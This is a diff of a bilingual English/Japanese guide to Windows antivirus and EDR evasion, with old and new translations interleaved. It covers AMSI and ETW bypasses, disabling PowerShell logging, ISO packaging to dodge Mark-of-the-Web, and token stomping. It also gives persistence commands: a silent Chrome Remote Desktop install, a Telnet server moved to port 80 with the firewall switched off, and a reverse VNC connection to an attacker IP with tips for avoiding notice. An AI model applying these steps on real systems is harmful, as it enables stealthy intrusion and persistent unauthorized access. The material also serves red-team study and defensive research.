This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||
このツール [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) は AMSI をバイパスするスクリプトを生成します。
|
||||
|
||||
**Remove the detected signature**
|
||||
|
||||
You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
|
||||
現在のプロセスのメモリから検出された AMSI シグネチャを削除するために、**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** や **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** といったツールを使用できます。これらのツールは現在のプロセスのメモリをスキャンして AMSI シグネチャを検出し、それを NOP 命令で上書きして実質的にメモリから除去します。
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
AMSI を使用する AV/EDR 製品の一覧は **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** で確認できます。
|
||||
|
||||
**Use Powershell version 2**
|
||||
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS ロギング
|
||||
## PS Logging
|
||||
|
||||
PowerShell loggingは、システム上で実行されたすべての PowerShell コマンドを記録できる機能です。これは監査やトラブルシューティングに有用ですが、**検出を回避しようとする攻撃者にとって問題になる**こともあります。
|
||||
PowerShell logging は、システム上で実行されたすべての PowerShell コマンドを記録できる機能です。監査やトラブルシューティングには有用ですが、検知を回避したい攻撃者にとっては**問題になることがあります**。
|
||||
|
||||
PowerShell ロギングを回避するには、以下の手法を使用できます:
|
||||
PowerShell logging をバイパスするために、次の手法が使えます:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: この目的には、例えば [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使用できます。
|
||||
- **Use Powershell version 2**: PowerShell version 2 を使用すると、AMSI は読み込まれないため、スクリプトは AMSI によるスキャンを受けずに実行できます。実行例: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) を使って防御が無効な powershell をスポーンします(これは Cobal Strike の `powerpick` が使っているものです)。
|
||||
- **Disable PowerShell Transcription and Module Logging**: この目的には [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使えます。
|
||||
- **Use Powershell version 2**: PowerShell version 2 を使うと AMSI は読み込まれないため、スクリプトを AMSI にスキャンされずに実行できます。実行方法: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) を使って防御のない powershell をスポーンします(これは `powerpick` が Cobal Strike から使っている方法です)。
|
||||
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
|
||||
> いくつかのオブフスケーション技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが上がり、AVs や EDRs に検知されやすくなります。これには注意し、機密性の高い特定のセクションにのみ暗号化を適用するなどの対策を検討してください。
|
||||
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
ConfuserEx 2 (または商用フォーク)を使った malware を解析する際、デコンパイラや sandbox を遮断する複数の保護層に遭遇することがよくあります。以下のワークフローは、後で dnSpy や ILSpy といったツールで C# にデコンパイル可能な、ほぼ元の IL を確実に復元します。
|
||||
ConfuserEx 2(または商用フォーク)を使ったマルウェアを解析する際、ディコンパイラやサンドボックスを妨げる複数の保護レイヤーに直面することがよくあります。以下のワークフローは、ほぼ元の IL を確実に復元し、その後 dnSpy や ILSpy のようなツールで C# にデコンパイルできるようにします。
|
||||
|
||||
1. Anti-tampering removal – ConfuserEx は各 *method body* を暗号化し、*module* の static コンストラクタ (`<Module>.cctor`) 内で復号します。これにより PE チェックサムも修正されるため、改変するとバイナリがクラッシュします。暗号化されたメタデータテーブルを特定し、XOR キーを復元し、クリーンなアセンブリを書き直すために **AntiTamperKiller** を使用します:
|
||||
1. Anti-tampering の除去 – ConfuserEx は各 *method body* を暗号化し、*module* の static コンストラクタ(`<Module>.cctor`)内で復号します。これにより PE チェックサムも修正されるため、任意の変更はバイナリをクラッシュさせます。**AntiTamperKiller** を使って暗号化されたメタデータテーブルを特定し、XOR キーを復元してクリーンなアセンブリを書き直します:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
出力にはアンチタンパリングの 6 つのパラメータ(`key0-key3`, `nameHash`, `internKey`)が含まれ、独自のアンパッカーを作る際に役立ちます。
|
||||
出力には 6 つの anti-tamper パラメータ(`key0-key3`, `nameHash`, `internKey`)が含まれ、独自のアンパッカーを作る際に役立ちます。
|
||||
|
||||
2. Symbol / control-flow recovery – *clean* ファイルを ConfuserEx 対応の de4dot フォークである **de4dot-cex** に渡します。
|
||||
2. シンボル/制御フローの復元 – *clean* ファイルを **de4dot-cex**(ConfuserEx 対応フォーク)に渡します。
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – ConfuserEx 2 プロファイルを選択
|
||||
• `-p crx` – ConfuserEx 2 のプロファイルを選択
|
||||
• de4dot は control-flow flattening を元に戻し、元の namespace、class、変数名を復元し、定数文字列を復号します。
|
||||
|
||||
3. Proxy-call stripping – ConfuserEx はデコンパイルをさらに困難にするために直接のメソッド呼び出しを軽量なラッパー(いわゆる *proxy calls*)に置き換えます。これらを **ProxyCall-Remover** で除去します:
|
||||
3. Proxy-call の除去 – ConfuserEx はデコンパイルをさらに難しくするため、直接呼び出しを軽量ラッパー(いわゆる *proxy calls*)に置き換えます。これを **ProxyCall-Remover** で除去します:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
この手順の後は、不透明なラッパー関数(`Class8.smethod_10` など)の代わりに `Convert.FromBase64String` や `AES.Create()` のような通常の .NET API が確認できるはずです。
|
||||
この手順後は、不透明なラッパー関数(`Class8.smethod_10` など)の代わりに、`Convert.FromBase64String` や `AES.Create()` といった通常の .NET API を確認できるはずです。
|
||||
|
||||
4. Manual clean-up – 生成したバイナリを dnSpy で実行し、巨大な Base64 ブロブや `RijndaelManaged`/`TripleDESCryptoServiceProvider` の使用箇所を検索して、*本物の* ペイロードを特定します。多くの場合、マルウェアは `<Module>.byte_0` 内で初期化された TLV エンコードされたバイト配列としてそれを保存しています。
|
||||
4. 手動でのクリーンアップ – 生成されたバイナリを dnSpy で実行し、大きな Base64 ブロブや `RijndaelManaged`/`TripleDESCryptoServiceProvider` の使用箇所を検索して、*実際の*ペイロードを特定します。多くの場合、マルウェアは `<Module>.byte_0` 内で初期化された TLV エンコードのバイト配列として格納しています。
|
||||
|
||||
上記のチェーンは、悪意あるサンプルを実行することなく実行フローを復元します — オフラインのワークステーションで作業する際に有用です。
|
||||
上記のチェーンは、悪意あるサンプルを実行することなく実行フローを復元します — オフラインの作業用ワークステーションで解析する際に有用です。
|
||||
|
||||
> 🛈 ConfuserEx は `ConfusedByAttribute` というカスタム属性を生成します。これはサンプルの自動トリアージに使える IOC として利用できます。
|
||||
> 🛈 ConfuserEx は `ConfusedByAttribute` というカスタム属性を生成します。これはサンプルを自動的にトリアージする IOC として利用できます。
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
@ -329,39 +332,39 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、LLVM コンパイルスイートのオープンソースフォークを提供し、code obfuscation と改ざん防止によってソフトウェアのセキュリティを向上させることです。
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は `C++11/14` を使用して、外部ツールやコンパイラの変更なしにコンパイル時に obfuscated code を生成する方法を示します。
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming フレームワークによって生成される obfuscated operations の層を追加し、アプリケーションを解析しようとする者の作業を少しだけ困難にします。
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz は x64 バイナリ obfuscator で、.exe, .dll, .sys を含む各種 PE ファイルを obfuscate できます。
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame は任意の実行可能ファイル向けのシンプルな metamorphic code エンジンです。
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator は ROP (return-oriented programming) を用いる LLVM 対応言語向けの細粒度 code obfuscation フレームワークです。ROPfuscator は通常の命令を ROP チェーンに変換してアセンブリレベルでプログラムを obfuscate し、通常の制御フローに関する我々の直感を阻害します。
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt は Nim で書かれた .NET PE Crypter です
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor は既存の EXE/DLL を shellcode に変換してロードできます
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
インターネットからいくつかの実行ファイルをダウンロードして実行したときに、この画面を見たことがあるかもしれません。
|
||||
インターネットから実行ファイルをダウンロードして実行した際に、このような画面を見たことがあるかもしれません。
|
||||
|
||||
Microsoft Defender SmartScreen は、エンドユーザーが潜在的に悪意のあるアプリケーションを実行するのを防ぐことを目的としたセキュリティ機構です。
|
||||
Microsoft Defender SmartScreen は、エンドユーザが潜在的に悪意のあるアプリケーションを実行するのを防ぐためのセキュリティ機構です。
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen は主にレピュテーションベースのアプローチで動作します。つまり、普段あまりダウンロードされないアプリケーションは SmartScreen を発動させ、ユーザーに警告してファイルの実行を防ぎます(ただし、More Info -> Run anyway をクリックすることでファイルを実行することは可能です)。
|
||||
SmartScreen は主にレピュテーションベースの方式で動作します。つまり、あまりダウンロードされていないアプリケーションが SmartScreen をトリガーし、エンドユーザに警告してファイルの実行を防ぎます(ただしファイルは More Info -> Run anyway をクリックすることで実行可能です)。
|
||||
|
||||
**MoTW** (Mark of The Web) は Zone.Identifier という名前の [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) で、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元の URL 情報が保存されます。
|
||||
**MoTW** (Mark of The Web) は Zone.Identifier という名前の NTFS Alternate Data Stream で、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元の URL を含みます。
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しているところ。</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルの Zone.Identifier ADS を確認しています。</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 信頼された署名証明書で署名された実行ファイルは **SmartScreen を発動しない** ことに注意してください。
|
||||
> 重要なのは、**信頼された** 署名証明書で署名された実行ファイルは **SmartScreen をトリガーしません**。
|
||||
|
||||
payloads が Mark of The Web を取得するのを防ぐ非常に効果的な方法の一つは、それらを ISO のようなコンテナ内にパッケージングすることです。これは Mark-of-the-Web (MOTW) が **non NTFS** ボリュームには適用できないためです。
|
||||
ペイロードが Mark of The Web を付与されるのを防ぐ非常に効果的な方法は、ISO のようなコンテナにパッケージングすることです。これは Mark-of-the-Web (MOTW) が非 NTFS ボリュームには適用できないためです。
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) は、Mark-of-the-Web を回避するために payloads を出力コンテナにパッケージングするツールです。
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) はペイロードを出力コンテナにパッケージして Mark-of-the-Web を回避するツールです。
|
||||
|
||||
Example usage:
|
||||
使用例:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -389,51 +392,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) は、Windows上の強力なロギング機構で、アプリケーションやシステムコンポーネントがイベントを**ログ**することを可能にします。しかし、セキュリティ製品が悪意のある活動を監視・検知するためにも利用されます。
|
||||
Event Tracing for Windows (ETW) は、アプリケーションやシステムコンポーネントがイベントをログするための強力な Windows のロギング機構です。しかし、これがセキュリティ製品によって悪意ある活動の監視や検出に利用されることもあります。
|
||||
|
||||
AMSIを無効化(バイパス)するのと同様に、ユーザ空間プロセスの **`EtwEventWrite`** 関数をイベントをログせずに即座に戻るようにすることも可能です。これは関数をメモリ上でパッチして即時にreturnさせることで行い、そのプロセスにおけるETWロギングを事実上無効化します。
|
||||
AMSI を無効化(バイパス)するのと同様に、ユーザー空間プロセスの **`EtwEventWrite`** 関数を即座にリターンさせてイベントをログしないようにすることも可能です。これは関数をメモリ上でパッチして即座に戻るようにすることで行われ、結果としてそのプロセスの ETW ロギングを無効化します。
|
||||
|
||||
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
詳細は **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** を参照してください。
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
C# バイナリをメモリにロードして実行する手法は以前から知られており、AVに検知されずにpost-exploitationツールを実行する非常に有効な方法です。
|
||||
C# バイナリをメモリにロードして実行する手法は以前から知られており、AV に検出されずに post-exploitation ツールを実行する非常に有効な方法です。
|
||||
|
||||
ペイロードがディスクに書き込まれず直接メモリにロードされるため、プロセス全体に対してAMSIをパッチすることだけを考慮すればよい、という利点があります。
|
||||
ペイロードがディスクに書き込まれず直接メモリにロードされるため、プロセス全体で AMSI をパッチすることだけを考慮すれば済みます。
|
||||
|
||||
ほとんどのC2フレームワーク(sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.)は既にC#アセンブリをメモリ上で直接実行する機能を提供していますが、実行方法にはいくつかのやり方があります:
|
||||
ほとんどの C2 フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havoc など)は既に C# アセンブリをメモリ上で直接実行する機能を提供していますが、実行方法にはいくつかのやり方があります:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
これは**新しい犠牲プロセスを生成**し、その新プロセスにpost-exploitationの悪意あるコードを注入して実行し、完了後にそのプロセスを終了させる方法です。利点と欠点が存在します。利点は実行が私たちのBeacon implantプロセスの**外部**で行われることです。つまり、post-exploitationの行動で何か問題が起きたり検知されても、**implantが生き残る可能性が高く**なります。欠点は、**Behavioural Detections** に検知される**確率が高くなる**点です。
|
||||
新しい犠牲プロセスを **spawn** して、その新プロセスに post-exploitation の悪意あるコードを注入し、実行が完了したら新しいプロセスを終了する方法です。利点と欠点があります。Fork and run の利点は実行が Beacon インプラントプロセスの **外部** で行われる点で、もし何かが失敗したり検出されてもインプラントが生き残る **可能性が格段に高く** なります。一方で、**Behavioural Detections** に引っかかる **可能性が高く** なります。
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
これはpost-exploitationの悪意あるコードを**自身のプロセス内に注入**する方法です。新しいプロセスを作成してAVにスキャンされるのを避けられますが、ペイロードの実行中に何か問題が起きるとプロセスがクラッシュして**beaconを失う可能性が高く**なります。
|
||||
自身のプロセスに post-exploitation の悪意あるコードを注入する方法です。新しいプロセスを作成して AV にスキャンされるのを避けられますが、ペイロード実行中に何か問題が起きた場合に Beacon を失う(クラッシュする)**可能性が高く** なります。
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> C# Assemblyのロードについてさらに知りたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とInlineExecute-Assembly BOF([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))を参照してください。
|
||||
> C# Assembly ローディングについて詳しく知りたい場合はこの記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とその InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) を参照してください。
|
||||
|
||||
C#アセンブリは**PowerShellから**ロードすることもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。
|
||||
PowerShell から C# Assemblies をロードすることも可能です。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), 被害機に攻撃者が管理するSMB共有上にある**インタプリタ環境へのアクセス**を与えることで、他の言語を用いて悪意あるコードを実行することが可能です。
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) で提案されているように、攻撃者が管理する SMB 共有上に配置したインタプリタ環境に被害マシンからアクセスを許可することで、他の言語を使って悪意あるコードを実行することが可能です。
|
||||
|
||||
SMB共有上のインタプリタバイナリや環境へのアクセスを許可することで、被害機のメモリ内でこれらの言語による**任意のコードを実行**できます。
|
||||
SMB 共有上のインタプリタバイナリと環境へのアクセスを許可することで、被害マシンのメモリ内でこれらの言語の任意コードを実行できます。
|
||||
|
||||
リポジトリの記載によれば、Defenderはスクリプトをスキャンし続けますが、Go、Java、PHP等を利用することで**静的シグネチャの回避に対する柔軟性が増す**とのことです。これらの言語でランダムな未難読化のリバースシェルスクリプトを用いたテストは成功していると報告されています。
|
||||
リポジトリではこう述べられています:Defender はスクリプトをスキャンし続けますが、Go、Java、PHP などを利用することで **静的シグネチャを回避する柔軟性が高まる** と。ランダムで難読化していないリバースシェルスクリプトをこれらの言語でテストしたところ成功した例があります。
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stompingは、攻撃者がアクセス トークンやEDRやAVといったセキュリティ製品を**操作**し、プロセスが終了しない程度に権限を下げつつも、悪意ある活動を検査する権限を失わせる技術です。
|
||||
Token stomping は攻撃者がアクセス トークンや EDR や AV のようなセキュリティ製品のトークンを操作し、その権限を低くすることでプロセスを終了させずに悪意ある活動のチェックを行えないようにする手法です。
|
||||
|
||||
これを防ぐために、Windowsはセキュリティプロセスのトークンに対して外部プロセスがハンドルを取得することを**制限**することが考えられます。
|
||||
これを防ぐために、Windows はセキュリティプロセスのトークンに外部プロセスがハンドルを取得することを **防ぐ** べきでしょう。
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -443,79 +446,79 @@ Token stompingは、攻撃者がアクセス トークンやEDRやAVといった
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), 被害者PCにChrome Remote Desktopを導入し、それを用いて乗っ取りや持続的アクセスを維持するのは容易です:
|
||||
1. https://remotedesktop.google.com/ からダウンロードし、「Set up via SSH」をクリックして、Windows用のMSIファイルをダウンロードします。
|
||||
2. 被害者側でインストーラをサイレント実行します(管理者権限が必要): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktopのページに戻り、Nextをクリックします。ウィザードが認可を求めるので、Authorizeボタンをクリックして続行します。
|
||||
4. 指定されたパラメータを一部調整して実行します: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(GUIを使わずにpinを設定できる点に注意)。
|
||||
[**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) に記載されているように、被害者の PC に Chrome Remote Desktop を展開して takeover および持続化に利用するのは簡単です:
|
||||
1. https://remotedesktop.google.com/ からダウンロードし、"Set up via SSH" をクリックし、Windows 用の MSI ファイルをダウンロードします。
|
||||
2. 被害者側でサイレントインストールを実行します(管理者権限が必要): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop のページに戻り、Next をクリックします。ウィザードが認可を求めるので、Authorize ボタンをクリックして続行します。
|
||||
4. 与えられたパラメータを少し調整して実行します: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(GUI を使わずに pin を設定できる点に注意)
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion(回避)は非常に複雑なテーマで、単一のシステムでも多様なテレメトリソースを考慮する必要があり、成熟した環境では完全に検知されない状態を保つのはほぼ不可能です。
|
||||
Evasion は非常に複雑なトピックで、1 台のシステム内でも多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境で完全に検出を免れるのはほぼ不可能です。
|
||||
|
||||
攻撃対象の環境ごとに固有の強みと弱みがあります。
|
||||
対峙する環境ごとに強みと弱みが存在します。
|
||||
|
||||
より高度なEvasion技術に触れるために、[@ATTL4S](https://twitter.com/DaniLJ94) のトークをぜひ視聴してください。
|
||||
より高度な Evasion 技術の足がかりを得るために、[@ATTL4S](https://twitter.com/DaniLJ94) のこのトークを見ることを強くお勧めします。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
これは Evasion in Depth に関する[@mariuszbit](https://twitter.com/mariuszbit) の別の優れたトークでもあります。
|
||||
これはまた、[@mariuszbit](https://twitter.com/mariuszbit) による Evasion in Depth の優れたトークです。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **古い手法**
|
||||
## **Old Techniques**
|
||||
|
||||
### **Defenderが悪意と判定する箇所を確認する**
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使うと、バイナリの一部を**削除し続け**て、Defenderがどの部分を悪意ありと判断しているかを特定し、分割して教えてくれます。\
|
||||
同様の機能を提供する別のツールに [**avred**](https://github.com/dobin/avred) があり、サービスを公開ウェブで提供しています([**https://avred.r00ted.ch/**](https://avred.r00ted.ch/))。
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使うと、バイナリのパーツを順に取り除きながら Defender がどの部分を悪意あるものと判定しているかを突き止め、分割して教えてくれます。\
|
||||
同様のことを行う別のツールとしては、ウェブサービスを公開している [**avred**](https://github.com/dobin/avred)(https://avred.r00ted.ch/)があります。
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Windows10までは、すべてのWindowsに**Telnet server**が含まれており、管理者として次のようにしてインストールできました:
|
||||
Windows10 以前の Windows には、管理者としてインストールできる **Telnet server** が付属していました。例えば次のようにして:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
システムが起動したときに**開始**するようにし、今すぐ**実行**してください:
|
||||
システム起動時に**start**するようにして、今すぐ**run**してください:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**telnetポートを変更する** (stealth) と firewall を無効化する:
|
||||
**Change telnet port**(stealth)を行い、firewall を無効化する:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
からダウンロード: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(bin ダウンロードを使い、setup ではなく)
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (bin ダウンロードを選択してください、setup ではなく)
|
||||
|
||||
**ON THE HOST**: _**winvnc.exe**_ を実行し、サーバーを設定します:
|
||||
**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
|
||||
|
||||
- オプション _Disable TrayIcon_ を有効にする
|
||||
- _VNC Password_ にパスワードを設定する
|
||||
- _View-Only Password_ にパスワードを設定する
|
||||
- Enable the option _Disable TrayIcon_
|
||||
- Set a password in _VNC Password_
|
||||
- Set a password in _View-Only Password_
|
||||
|
||||
次に、バイナリ _**winvnc.exe**_ と **新たに** 作成されたファイル _**UltraVNC.ini**_ を **victim** の中に移動します
|
||||
Then, move the binary _**winvnc.exe**_ and **新規に** created file _**UltraVNC.ini**_ inside the **victim**
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
警告: ステルスを維持するために以下のことを行ってはいけません
|
||||
**警告:** ステルスを維持するために、次のことを行ってはいけません
|
||||
|
||||
- 既に実行中の場合に `winvnc` を起動すると [popup](https://i.imgur.com/1SROTTl.png) が表示されるため、`winvnc` を起動してはいけません。`tasklist | findstr winvnc` で実行中か確認してください
|
||||
- 同じディレクトリに `UltraVNC.ini` がない状態で `winvnc` を起動すると [config window](https://i.imgur.com/rfMQWcf.png) が開くので、`UltraVNC.ini` を同じディレクトリに置かずに起動してはいけません
|
||||
- ヘルプのために `winvnc -h` を実行すると [popup](https://i.imgur.com/oc18wcu.png) が表示されるので実行してはいけません
|
||||
- 既に実行中の場合に `winvnc` を起動すると [popup](https://i.imgur.com/1SROTTl.png) が発生するので起動しないでください。`tasklist | findstr winvnc` で実行中か確認してください
|
||||
- `UltraVNC.ini` が同じディレクトリにない状態で `winvnc` を起動すると [the config window](https://i.imgur.com/rfMQWcf.png) が開いてしまうので起動しないでください
|
||||
- ヘルプのために `winvnc -h` を実行すると [popup](https://i.imgur.com/oc18wcu.png) が発生するので実行しないでください
|
||||
|
||||
### GreatSCT
|
||||
|
||||
からダウンロード: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
